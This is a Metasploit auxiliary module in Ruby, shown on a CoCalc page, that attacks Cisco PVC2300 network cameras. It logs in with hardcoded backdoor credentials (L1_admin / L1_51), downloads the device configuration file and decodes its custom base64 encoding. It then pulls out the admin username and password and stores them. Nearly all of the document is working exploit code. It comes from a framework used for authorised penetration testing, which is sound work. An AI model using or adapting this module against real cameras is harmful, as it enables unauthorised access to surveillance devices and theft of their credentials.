CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  prepend Msf::Exploit::Remote::AutoCheck
8
  include Msf::Exploit::Remote::HttpClient
9
  include Msf::Auxiliary::Report
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        {
16
          'Name' => 'Cisco PVC2300 POE Video Camera configuration download',
17
          'Description' => %q{
18
            This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order
19
            to download the configuration file containing the admin credentials for the web interface.
20

21
            The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the
22
            module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml
23
            endpoint using hardcoded credentials.
24

25
            If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml
26
            with the aim of downloading the configuration file. The configuration file, if obtained, is then
27
            decoded and saved to the loot directory. Finally, the module attempts to extract the admin
28
            credentials to the web interface from the decoded configuration file.
29

30
            No known solution was made available for this vulnerability and no CVE has been published. It is
31
            therefore likely that most (if not all) Cisco PVC2300 cameras are affected.
32

33
            This module was successfully tested against several Cisco PVC2300 cameras.
34
          },
35
          'License' => MSF_LICENSE,
36
          'Author' => [
37
            'Craig Heffner', # vulnerability discovery and PoC
38
            'Erik Wynter', # @wyntererik - Metasploit
39
          ],
40
          'References' => [
41
            [ 'URL', 'https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf' ], # blackhat presentation - unofficial source
42
            [ 'URL', 'https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf'], # blackhat presentation - official source (not working)
43
            [ 'URL', 'https://www.youtube.com/watch?v=B8DjTcANBx0'] # full blackhat presentation
44
          ],
45
          'DisclosureDate' => '2013-07-12',
46
          'Notes' => {
47
            'Stability' => [CRASH_SAFE],
48
            'Reliability' => [REPEATABLE_SESSION], # the attack can be repeated, but a timeout of several minutes may be necessary between exploit attempts
49
            'SideEffects' => [IOC_IN_LOGS]
50
          }
51
        }
52
      )
53
    )
54
  end
55

56
  def custom_base64_alphabet
57
    'ACEGIKMOQSUWYBDFHJLNPRTVXZacegikmoqsuwybdfhjlnprtvxz0246813579=+'
58
  end
59

60
  def default_base64_alphabet
61
    'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
62
  end
63

64
  def request_session_id
65
    vprint_status('Attempting to obtain a session ID')
66
    # the creds used here are basically a backdoor
67
    res = send_request_cgi({
68
      'method' => 'GET',
69
      'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),
70
      'vars_get' => {
71
        'action' => 'login',
72
        'user' => 'L1_admin',
73
        'password' => 'L1_51'
74
      }
75
    })
76

77
    unless res
78
      fail_with(Failure::Unknown, 'Connection failed when trying to obtain a session ID')
79
    end
80

81
    unless res.code == 200
82
      fail_with(Failure::NotVulnerable, "Received unexpected response code #{res.code} while trying to obtain a session ID.")
83
    end
84

85
    if res.headers.include?('sessionID') && !res.headers['sessionID'].blank?
86
      session_id = res.headers['sessionID']
87
      print_status("The target may be vulnerable. Obtained sessionID #{session_id}")
88
      return session_id
89
    end
90

91
    # try to check the status message in the response body
92
    # the status may indicate if the target is perhaps only temporarily unavailable, which was encountered when testing the module repeatedly
93
    status = res.body.scan(%r{<statusString>(.*?)</statusString>})&.flatten&.first&.strip
94
    if status.blank?
95
      fail_with(Failure::NotVulnerable, 'Failed to obtain a session ID.')
96
    end
97

98
    if status == 'try it later'
99
      fail_with(Failure::Unknown, "Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.")
100
    else
101
      fail_with(Failure::NotVulnerable, "Failed to obtain a session ID. The server responded with status: #{status}")
102
    end
103
  end
104

105
  def download_config_file(session_id)
106
    vprint_status('Attempting to download the configuration file')
107

108
    res = send_request_cgi({
109
      'method' => 'GET',
110
      'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),
111
      'headers' => {
112
        'sessionID' => session_id
113
      },
114
      'vars_get' => {
115
        'action' => 'downloadConfigurationFile'
116
      }
117
    })
118

119
    unless res
120
      fail_with(Failure::Unknown, 'Connection failed when trying to download the configuration file')
121
    end
122

123
    unless res.code == 200 && !res.body.empty?
124
      fail_with(Failure::NotVulnerable, 'Failed to obtain the configuration file')
125
    end
126

127
    # if the exploit doesn't work, the response body should be empty. So if we have anything, we can assume we're in business
128
    res.body
129
  end
130

131
  def decode_config_file(config_file_encoded)
132
    # if we've made it all the way here, this shouldn't break, but better safe than sorry
133
    begin
134
      config_file_base64 = config_file_encoded.tr(custom_base64_alphabet, default_base64_alphabet)
135
      config_file_decoded = Base64.decode64(config_file_base64)
136
    rescue StandardError => e
137
      print_error('Encountered the following error when attempting to decode the configuration file:')
138
      print_error(e)
139
      fail_with(Failure::Unknown, 'Failed to decode the configuration file')
140
    end
141

142
    # let's just save the full config at this point
143
    path = store_loot('ciscopvc.config', 'text/plain', rhost, config_file_decoded)
144
    print_good('Successfully downloaded the configuration file')
145
    print_status("Saving the full configuration file to #{path}")
146

147
    # let's see if we can grab the device name from the config file
148
    if config_file_decoded =~ /comment=.*? Video Camera/
149
      device_name = config_file_decoded.scan(/comment=(.*?)$/)&.flatten&.first&.strip
150
      unless device_name.blank?
151
        print_status("Obtained device name #{device_name}")
152
      end
153
    end
154

155
    # try to grab the admin username and password from the config file
156
    admin_name = nil
157
    admin_password = nil
158
    if config_file_decoded.include?('admin_name')
159
      admin_name = config_file_decoded.scan(/admin_name=(.*?)$/)&.flatten&.first&.strip
160
    end
161

162
    if config_file_decoded.include?('admin_password')
163
      admin_password = config_file_decoded.scan(/admin_password=(.*?)$/)&.flatten&.first&.strip
164
    end
165

166
    if admin_name.blank? && admin_password.blank?
167
      print_error('Failed to obtain the admin credentials from the configuration file')
168
    else
169
      print_good('Obtained the following admin credentials for the web interface from the configuration file:')
170
      print_status("admin username: #{admin_name}")
171
      print_status("admin password: #{admin_password}")
172
      # save the creds to the db
173
      report_creds(admin_name, admin_password)
174
    end
175
  end
176

177
  def report_creds(username, password)
178
    service_data = {
179
      address: datastore['RHOST'],
180
      port: datastore['RPORT'],
181
      service_name: 'http',
182
      protocol: 'tcp',
183
      workspace_id: myworkspace_id
184
    }
185

186
    credential_data = {
187
      module_fullname: fullname,
188
      origin_type: :service,
189
      private_data: password,
190
      private_type: :password,
191
      username: username
192
    }.merge(service_data)
193

194
    credential_core = create_credential(credential_data)
195

196
    login_data = {
197
      core: credential_core,
198
      status: Metasploit::Model::Login::Status::UNTRIED
199
    }.merge(service_data)
200

201
    create_credential_login(login_data)
202
  end
203

204
  def check
205
    res1 = send_request_cgi('uri' => normalize_uri(target_uri.path))
206

207
    unless res1
208
      return Exploit::CheckCode::Unknown('Target is unreachable.')
209
    end
210

211
    # string togetether a few checks to make it more likely we're dealing with a Cisco camera
212
    unless res1.code == 401 && res1.headers.include?('WWW-Authenticate') && res1.headers['WWW-Authenticate'] == 'Basic realm="IP Camera"'
213
      return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
214
    end
215

216
    res2 = send_request_cgi('uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'))
217
    unless res2
218
      return Exploit::CheckCode::Unknown('Target is unreachable.')
219
    end
220

221
    unless res2.code == 200 && res2.body =~ %r{<ActionStatus><statusCode>.*?</statusCode><statusString>.*?</statusString></ActionStatus>}
222
      return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
223
    end
224

225
    vprint_status('Target seems to be a Cisco camera')
226
    Exploit::CheckCode::Appears
227
  end
228

229
  def run
230
    session_id = request_session_id
231
    config_file = download_config_file(session_id)
232
    decode_config_file(config_file)
233
  end
234
end
235

236